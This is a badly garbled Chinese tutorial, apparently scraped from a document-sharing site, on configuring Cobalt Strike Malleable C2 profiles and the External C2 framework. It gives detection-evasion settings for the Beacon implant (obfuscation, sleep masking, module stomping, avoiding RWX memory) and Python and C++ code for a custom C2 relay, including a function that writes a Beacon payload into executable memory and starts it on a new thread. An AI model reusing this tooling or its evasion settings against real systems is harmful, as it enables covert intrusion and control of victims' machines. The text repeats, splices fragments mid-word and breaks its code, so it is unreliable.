HTTP參數(shù)中。此參數(shù)始終作為URI的一部分發(fā)送。print語句在http正文print語句是http-get.server.output,http-post.server.output和stager.server.output塊的終止語句,其他塊可以使用header,parameter,printuri-appen termination語句。如果在http-post.client.output上使用header、parameteruri-語句,beac可以在字符串中使用的特殊字符可以用set設(shè)置的選項(xiàng)其中范圍代表可以那里設(shè)置為空則在任何地方都可以設(shè)置。如uri就只能在http-get和http-post中的花括號(hào)里設(shè)置范說(值含回tab表示一個(gè)unicode字符表示一個(gè)字節(jié)如(\x \header將數(shù)據(jù)存儲(chǔ)在HTTP頭中parameter將數(shù)據(jù)存儲(chǔ)在URI參數(shù)中將數(shù)據(jù)存儲(chǔ)在http主體中uri-附加到AMSIIPaddrusedtonotaskDNSBMaskfoDNSCTXTrefortask0ForceapriortoDNSTusedbyTXTre1TTLforAMSIIPaddrusedtonotaskDNSBMaskfoDNSCTXTrefortask0ForceapriortoDNSTusedbyTXTre1TTLforHostpaforstagorDNS0factorMalleablewhendata(0-Nameotousef##isrewithanteamsNametouseThenathispro(usedinMytimeopenaopenaTCPlisten[requiredMalleablewhendata(0-Nameotousef##isrewithanteamsNametouseThenathispro(usedinMytimeopenaopenaTCPlisten[requiredHTTPCS中各種http請(qǐng)求的設(shè)Beacon是一個(gè)分階段的有效載荷。這意味著有效負(fù)載由stager下載并注入內(nèi)存在目標(biāo)內(nèi)存中有Beacon有效載荷HTTPCS中各種http請(qǐng)求的設(shè)Beacon是一個(gè)分階段的有效載荷。這意味著有效負(fù)載由stager下載并注入內(nèi)存在目標(biāo)內(nèi)存中有Beacon有效載荷之前HTTP-GET和HTTP-POSTBeacon都不生效。這里插句話這個(gè)和MSF的stager一樣你把MSF的stager搞懂了自然就明白http-Sessionhttp-Beacon'shttp-Sessionhttp-Beacon'shttp-http-Encodedpayload在http-x86paystage在http-x64paystageInternetAgentfHTTPusefor里面的參數(shù)上面都有自己看吧就解釋一下client代表木馬發(fā)出的請(qǐng)求里面的參數(shù)上面都有自己看吧就解釋一下client代表木馬發(fā)出的請(qǐng)求參數(shù)server代表http-config塊對(duì)Strike提供的所有HTTP響應(yīng)都有影響在這里你可以自己設(shè)置PEandMemory C2配置文件中的stage塊控制Beacon如何加載到內(nèi)存中并且可以編 DLL的內(nèi)http-configsetheaders"Date,Server,Content-Length,Keep-Alive,Connection,Content-Type";header"Server"header"Keep-Alive""timeout=5,max=100";header"Connection""Keep-Alive";}http-stagerseturi_x86"/get32.gif";seturi_x64"/get64.gif";client{parameter"id""1234";header"Cookie""SomeValue";}serverheader"Content-Type""image/gif";output{prepend"GIF89a";}}}stage塊接受字符串添加到BeacDLL的.rdata部分的命stage塊接受字符串添加到BeacDLL的.rdata部分的命 命令添加 命令添加了一個(gè)寬(UTF-16LE 編碼)Transform-x86和Transform-X64阻止PAD和Transform Beacon的反射DLL階段。這些塊支持三個(gè)命令:prepend、append和strrep.prepend命令在beacon的反射dll之前插入一個(gè)字符串a(chǎn)ppend命令在beacon的反射dll后面添加一個(gè)字符串,確保預(yù)先準(zhǔn)備好的數(shù)據(jù)(x86、x64)架構(gòu)的有效代碼,c2lint程序沒有對(duì)此進(jìn)行檢查strrep命令替換beacon反射dll中的字符串stage塊接受以下命令控制BeacDLL內(nèi)容的選stagesetuserwxsetcompile_time"14Jul2009setimage_size_x86setimage_size_x64"512000";setobfuscate"true";transform-x86prependstrrep"ReflectiveLoader"}transform-x64#transformthex64rDLL}stringw"Iamnot}CloningPE0TheCheckSumvalueinBeacon'sPEAskBeacontoattempttofreememoryassociatedwiththeReflectiveDLLpackagethatinitializedit.14JulyThebuildtimeinBeacon'sPECloningPE0TheCheckSumvalueinBeacon'sPEAskBeacontoattempttofreememoryassociatedwiththeReflectiveDLLpackagethatinitializedit.14JulyThebuildtimeinBeacon'sPETheEntryPointvalueinBeacon'sPESizeOfImagevalueinx64Beacon'sPESizeOfImagevalueinx86Beacon'sPESameasmodule_x86;affectsx64Askthex86ReflectiveLoadertoloadthespecifiedlibraryandoverwriteitsspaceinsteadofallocatingmemorywithTheExportednameoftheBeaconObfuscatetheReflectiveDLL'simporttable,overwriteunusedheadercontent,andaskReflectiveLoadertocopyBeacontonewmemorywithoutitsDLLMeta-informationinsertedbytheObfuscateBeacon,in-memory,priortoAskReflectiveLoadertostompMZ,PE,ande_lfanewvaluesafteritloadsBeaconpayloadAskReflectiveLoadertouseoravoidRWXpermissionsforBeaconDLLinMalleableCobaltStrike的Linux軟件包中有一個(gè)工具peclone,用于從MalleableCobaltStrike的Linux軟件包中有一個(gè)工具peclone,用于從dll中提取頭文件并將其顯示為一個(gè)隨時(shí)可用的階段塊(我同樣改有一個(gè)Windows版的方便Windows用戶)。這個(gè)同樣會(huì)在擴(kuò)展里講這里不說./peclone使用stageblock的prepend命令來阻止分析,該分析掃描內(nèi)存段的前幾個(gè)字節(jié)以查找注入DLL的符號(hào)。如果使用特定于工具的字符串來檢測(cè)代理,請(qǐng)使用strrep命令更改它們。如果strrep不夠,請(qǐng)將sleep_mask設(shè)置為true。這導(dǎo)致Beacon在進(jìn)入睡眠狀態(tài)之前在內(nèi)存中進(jìn)行模糊處理。在休眠之后,Beacon會(huì)對(duì)自己進(jìn)行去模糊處理以請(qǐng)求和處理任務(wù)。SMB和Beacon將在等待新連接或等待父會(huì)話中的數(shù)據(jù)時(shí)進(jìn)行模糊處理。決定您希望在內(nèi)存中看起來像一個(gè)DLL特征。那么您希望方便檢測(cè),請(qǐng)stomppe設(shè)置為false。如果您想在內(nèi)存中輕微混淆DLL,請(qǐng)將stomppe設(shè)置為true。如果您想要應(yīng)對(duì)挑戰(zhàn),請(qǐng)將obfuscate設(shè)置為true。此選項(xiàng)將采取許多步驟來混淆Beacon階段和內(nèi)存中DLL的最終狀態(tài)將userwx設(shè)置為false以詢問Beacon的加載器以避免以RWX權(quán)限執(zhí)行。具有這些權(quán)限的內(nèi)存段將引起安全分析師和安全產(chǎn)品的額外關(guān)注。默認(rèn)情況下,Beacon的加載程序使用VirtualAlloc分配內(nèi)存。模塊踩踏是另一種選擇。將module_x86設(shè)置為DLL,該DLL大約是Beacon有效負(fù)載本身的兩倍。Beacon的x86加載器將加載指定的DLL,在內(nèi)存中找到它的位置,并覆蓋它。這是一種將Beacon置于Windows與磁盤上的文件關(guān)聯(lián)的內(nèi)存中的方法。您想要駐留的應(yīng)用程序不需要您選擇的DLL。重要的是module_x64選項(xiàng)是相同的,但它會(huì)影響x64Beacon。如果您擔(dān)心在內(nèi)存中初始化BeaconDLL的Beacon階段,請(qǐng)將cleanup設(shè)置為true。當(dāng)不再需要時(shí),此選項(xiàng)將釋放與 transform-x86和transform-x64阻止Beacon注入的PAD內(nèi)容。這些塊支持兩個(gè)命令:prepend和appendprepend命令在插入的內(nèi)容之前插入transform-x86和transform-x64阻止Beacon注入的PAD內(nèi)容。這些塊支持兩個(gè)命令:prepend和appendprepend命令在插入的內(nèi)容之前插入一個(gè)字符串。append命令在注入的內(nèi)容之后添加一個(gè)字符串。確保預(yù)先準(zhǔn)備好的數(shù)據(jù)是(x86、x64)的有效代碼。c2lint程序沒有對(duì)此進(jìn)行檢查。disable語句是避免beacon進(jìn)程注入程序使用某些API。您可以禁用:sethreadcontext、createRemoteThread和rtlcreateUserThread。請(qǐng)注意,當(dāng)您禁用這些API時(shí),Beacon注入進(jìn)程時(shí)可能會(huì)失敗。c2lint命令會(huì)發(fā)出一些警告。process-inject塊接受幾個(gè)控制Beacon進(jìn)程注入的選項(xiàng)注意MinimumamountofmemorytorequestforinjectedUseRWXasinitialpermissionsforinjectedcontent.AlternativeisRW.UseRWXasfinalpermissionsforinjectedcontent.AlternativeisRX.process-injectsetmin_alloc"16384";setstartrwx"true";setuserwx"false";transform-x86prepend}transform-x64#transformx64injected}disable}Malleable每個(gè)CobaltStrike實(shí)例一次Malleable每個(gè)CobaltStrike實(shí)例一次使用一個(gè)配置文件。如果您更改配置文件或加載新配置文件,則以前部署的Beacons后門無法與您通信。簡(jiǎn)單來說就是如果你更改了 C2文件則之前的后門會(huì)無法連接到CS只能重新生成后門并讓目標(biāo)運(yùn)行MalleableC2profile編也不能算是編寫這是我使用默認(rèn)的profile語C2profile做一個(gè)改造讓讀者熟悉一#默認(rèn)sleep時(shí)setsleeptime#sleep隨機(jī)抖set #profile文件的名setsample_name"CobaltStrikeBeacon#user-setuseragent定義HTTPGET請(qǐng)求http-get{#定義請(qǐng)求url如果定義多個(gè)請(qǐng)用空格分割Beacon會(huì)隨機(jī)選seturiclient{#header頭部定header"Host""";#定義數(shù)據(jù)編碼方式和存放位metadataheader"Cookie";Malleable}}server{#定義Malleable}}server{#定義header"Content-Type""application/octet-stream";header"Server""IIS7.5";output{}}}#定義HTTPPOST請(qǐng)求http-post{#定義請(qǐng)求url如果定義多個(gè)請(qǐng)用空格分割Beacon會(huì)隨機(jī)選seturiclient{#header頭部定header"Content-Type""application/octet-id{parameter}#定義數(shù)據(jù)編碼方式和存放位output}}#定義CS服務(wù)端響serverheader"Content-Type"Malleable用c2lint.bat預(yù)覽檢查一下[+]ProfilecompiledOKGET/WBGlIlHTTP/1.1Host:Cookie:R2+spam1xgUcklFCYRJrFw==User-Agent:nullHTTP/1.1Malleable用c2lint.bat預(yù)覽檢查一下[+]ProfilecompiledOKGET/WBGlIlHTTP/1.1Host:Cookie:R2+spam1xgUcklFCYRJrFw==User-Agent:nullHTTP/1.1200Content-Type:application/octet-streamServer:IIS7.5Content-Length:http-POST/WBGlIl.php?id=53488Content-Type:application/octet-streamContent-Length:24User-Agent:HTTP/1.1200OKContent-Type:text/htmlContent-Length:0#定義服務(wù)端如何返回響output}}}MalleablePOST3xcheck.http-get.server.outputsizeis.http-get.clientsizeis.http-post.clientsize.http-[+].http-get.client.metadata00byte[s])[+].http-28[+].http-56MalleablePOST3xcheck.http-get.server.outputsizeis.http-get.clientsizeis.http-post.clientsize.http-[+].http-get.client.metadata00byte[s])[+].http-28[+].http-56[+].http-get.server.output[+].http-get.server.output[+].http-48[+].http-8576(0(1[+].http-post.client.idtransform+mangle+recoverpassed[+].http-post.client.output[+].http-.http-.http-POSTs48576[!].http-get.uriURI/WBGlIlhascommonbasewith.http-post.uriURI/WBGlIl.php(thismayconfuseuri-[+].host_stage:Willhostpayloadstage[!].spawnto_x86is'%windir%\syswow64\rundll32.exe'.Thisis*really*badOPSECMalleable這里我只是隨便寫一下不要使用,寫的很糟糕。這里的翻譯有部分沒有翻譯,等我日后在弄吧[!].spawnto_x64Malleable這里我只是隨便寫一下不要使用,寫的很糟糕。這里的翻譯有部分沒有翻譯,等我日后在弄吧[!].spawnto_x64is'%windir%\sysnative\rundll32.exe'.Thisis*really*badOPSEC[!].code-signer.keystoreismissing.WillnotsignexecutablesandDLLs[!].https-certificateoptionsaremissing[willusebuilt-inSSLcert]External首先什么是ExternalC2是External首先什么是ExternalC2是由CobaltStrike提出的一套規(guī)范/框架,它允許黑客根據(jù)需要對(duì)框架提供的默認(rèn)HTTP(S)/DNSSMBC2通信通道進(jìn)行擴(kuò)展。這句話估計(jì)都聽煩了,簡(jiǎn)單說就是用戶可以開發(fā)自己的控制器(服務(wù)端)和客戶端(被控端)而不是直接使用CS自1.第三方控制器(Third-pController)——負(fù)責(zé)與CobaltStrikeTeamServer(C服務(wù)端)進(jìn)行連接[通信方式使用TCP連接],并使用自定義C2通道與目標(biāo)主機(jī)上的第三方客戶端進(jìn)行通信[通信方式自定義]第三方客戶端(Third-partyClient)——負(fù)責(zé)使用自定義的C2通道與第三方控制器進(jìn)行通信,創(chuàng)建SMBBeacon并與其通信[通信方式使用命名管道]。 Beacon——受害者機(jī)器上運(yùn)行的BeacExternal讓CobaltStrike啟動(dòng)ExternalC2我們需要使用External讓CobaltStrike啟動(dòng)ExternalC2我們需要使用externalc2_start函數(shù)監(jiān)聽指定端口等待第三方控制端連接進(jìn)行通信最開始通信時(shí),第三方服務(wù)端與CS服務(wù)端建立連接,然后發(fā)送一些選項(xiàng),發(fā)送數(shù)據(jù)由4字節(jié)的數(shù)據(jù)塊長度字段(低字節(jié)序)以及一個(gè)數(shù)據(jù)塊所組成首先要發(fā)送以下的一些選項(xiàng)arch:待使用的beacon的架構(gòu)(x86或xpipename:用來與beacon通信的管道(pipe)的名稱block:sleep選項(xiàng)(以毫秒為單位所有選項(xiàng)發(fā)送完畢后,第三方服務(wù)端在發(fā)送一條go指令。這條指令表示一切ok,CS生成并發(fā)送SMBbeaconpayload。第三方服務(wù)端隨后會(huì)將這個(gè)SMBbeaconpayload轉(zhuǎn)發(fā)給第三方客戶端,然后第三方客戶端接收SMBbeaconpayload然后啟動(dòng)SMBbeacon。在一切完成后會(huì)產(chǎn)生一個(gè)如下的循環(huán)不斷處理CS發(fā)送的命令然后返回執(zhí)行的結(jié)果發(fā)送命令:CS服務(wù)端——>第三方服務(wù)端——>第三方客戶端——>SM返回結(jié)果beacon——>第三方服務(wù)端——>第三方客戶端——>CS服務(wù)端需要注意以上的數(shù)據(jù)傳輸格除了第三方服務(wù)端和第三方客戶端的通信格式可以自定義其他全是按照4字節(jié)數(shù)據(jù)塊長度段+數(shù)據(jù)塊組成經(jīng)典案先說一個(gè)經(jīng)典案例然后在說一個(gè)別的。在這個(gè)經(jīng)典案例中我們使用Python編寫第三方服務(wù)端C++編寫第三方客戶端。首先讓CS啟動(dòng)ExternalC2并監(jiān)聽一個(gè)端口等待連接,這個(gè)腳本很簡(jiǎn)單就一行代碼直接CS讓加載這個(gè)腳本就行External該語句執(zhí)行完畢后,ExExternal該語句執(zhí)行完畢后,ExternalC2會(huì)在2222端口上監(jiān)聽請(qǐng)求importsocketimportstructimporttimeclassExternalC2Controller:definit(self,port):self.port=defencodeFrame(self,returnstruct.pack("<I",len(data))+defdecodeFrame(self,len=struct.unpack("<I",data[0:3])body=data[4:]return(len,defsendToTS(self,data):defrecvFromTS(self):data=""_len=self._socketTS.recv(4)l=struct.unpack("<I",_len)[0]whilelen(data)<l:data+=self._socketTS.recv(l-len(data))returndatadefsendToBeacon(self,data):defrecvFromBeacon(self):data=""externalc2_start("",External_lenl=struct.unpack("<I",_len)[0]whilelen(data)<l:data+=self._socketClient.recv(l-External_lenl=struct.unpack("<I",_len)[0]whilelen(data)<l:data+=self._socketClient.recv(l-returndef#Firstthing,waitforaconnectionfromourcustomself._socketBeacon=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)self._socketBeacon.bind(("",8081))self._socketClient="ReceivedC2#hCSwehaveabeaconconnection,wekickoffcommsself._socketTS=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)self._socketTS.connect(("",#Sendoutconfigoptions#ReceivethebeaconpayloadfromCStoforwardtoourcustombeacondata=print"Sending%dbytestobeacon"%data=print"Received%dbytesfrombeacon"%print"Sending%dbytestoTS"%External基本流程連接CS服務(wù)端發(fā)送選項(xiàng)接收payloaExternal基本流程連接CS服務(wù)端發(fā)送選項(xiàng)接收payload轉(zhuǎn)發(fā)到第三方客戶端,轉(zhuǎn)發(fā)命令到第三方客戶端然后轉(zhuǎn)發(fā)執(zhí)行的結(jié)果到CS服務(wù)端#include//AllocatesaRWXpagefortheCSbeacon,copiesthepayload,andstartsanewthreadvoidspawnBeacon(char*payload,DWORDlen)HANDLEthreadHandle;DWORDthreadId=0;char*alloc=(char*)VirtualAlloc(NULL,len,MEM_COMMIT,PAmemcpy(alloc,payload,threadHandle=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)alloc,NULL,0,&threadId);}//SendsdatatoourC2controllerreceivedfromourinjectedbevoidsendData(SOCKETsd,constchar*data,DWORD{char*buffer=(char*)malloc(len+4);if(buffer==NULL)data=print"Received%dbytesfromTS"%controller=ExternalC2Controller(3389)ExternalDWORD=0,totalLen=*(DWORD*)buffermemcpy(buffer+data,while(totalLenExternalDWORD=0,totalLen=*(DWORD*)buffermemcpy(buffer+data,while(totalLen<len+4)bytesWritten=send(sd,buffer+totalLen,len+alLen,0);totalLen+=}}4//Receivesdatafromourectedbeaconchar*recvData(SOCKETsd,char*buffer;DWORDbytesReceivedC2toberelayedDWORD{0,=*len=bufferif(char4,(char==returnwhile(totalLen<{bytesReceived=recv(sd,Len,totalLen+=}return+-//CreatesanewC2controllerconnectionforrelayingcommandsSOCKETcreateC2Socket(constchar*addr,WORDport){WSADATASOCKETExternalSOCKADDR_INWSAStartup(0x0202,memset(&sin,0,sizeof(sin));sin.sin_family=AF_INET;sin.sin_port=htons(port);sin.sin_addr.S_un.S_addr=sd=socket(AF_INET,SOCK_STREAM,ExternalSOCKADDR_INWSAStartup(0x0202,memset(&sin,0,sizeof(sin));sin.sin_family=AF_INET;sin.sin_port=htons(port);sin.sin_addr.S_un.S_addr=sd=socket(AF_INET,SOCK_STREAM,connect(sd,(SOCKADDR*)&sin,return}//Connectstothenamepipe
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 二零二五年度高端住宅項(xiàng)目分銷渠道合作協(xié)議3篇
- 二零二五版市政道路砍割樁施工項(xiàng)目合同2篇
- 2025年度生態(tài)農(nóng)業(yè)餐飲食材配送框架協(xié)議3篇
- 梧州職業(yè)學(xué)院《推拿學(xué)》2023-2024學(xué)年第一學(xué)期期末試卷
- 2024版醫(yī)療機(jī)構(gòu)餐飲服務(wù)合作協(xié)議版B版
- 二零二五版醫(yī)療設(shè)備檢驗(yàn)試劑配套供應(yīng)協(xié)議2篇
- 2024版行政人員合同
- 二零二五版單位食堂餐飲服務(wù)設(shè)施升級(jí)改造合同3篇
- 2024版廣告設(shè)計(jì)與發(fā)布合同
- 太湖創(chuàng)意職業(yè)技術(shù)學(xué)院《輕化工程專業(yè)發(fā)展概論》2023-2024學(xué)年第一學(xué)期期末試卷
- 2024年醫(yī)師定期考核臨床業(yè)務(wù)知識(shí)考試題庫及答案(共三套)
- 2014新PEP小學(xué)英語六年級(jí)上冊(cè)-Unit5-What-does-he-do復(fù)習(xí)課件
- 建筑材料供應(yīng)鏈管理服務(wù)合同
- 孩子改名字父母一方委托書
- 2024-2025學(xué)年人教版初中物理九年級(jí)全一冊(cè)《電與磁》單元測(cè)試卷(原卷版)
- 江蘇單招英語考綱詞匯
- 2024年事業(yè)單位財(cái)務(wù)工作計(jì)劃例文(6篇)
- 2024年工程咨詢服務(wù)承諾書
- 青桔單車保險(xiǎn)合同條例
- 車輛使用不過戶免責(zé)協(xié)議書范文范本
- 2023-2024學(xué)年天津市部分區(qū)九年級(jí)(上)期末物理試卷
評(píng)論
0/150
提交評(píng)論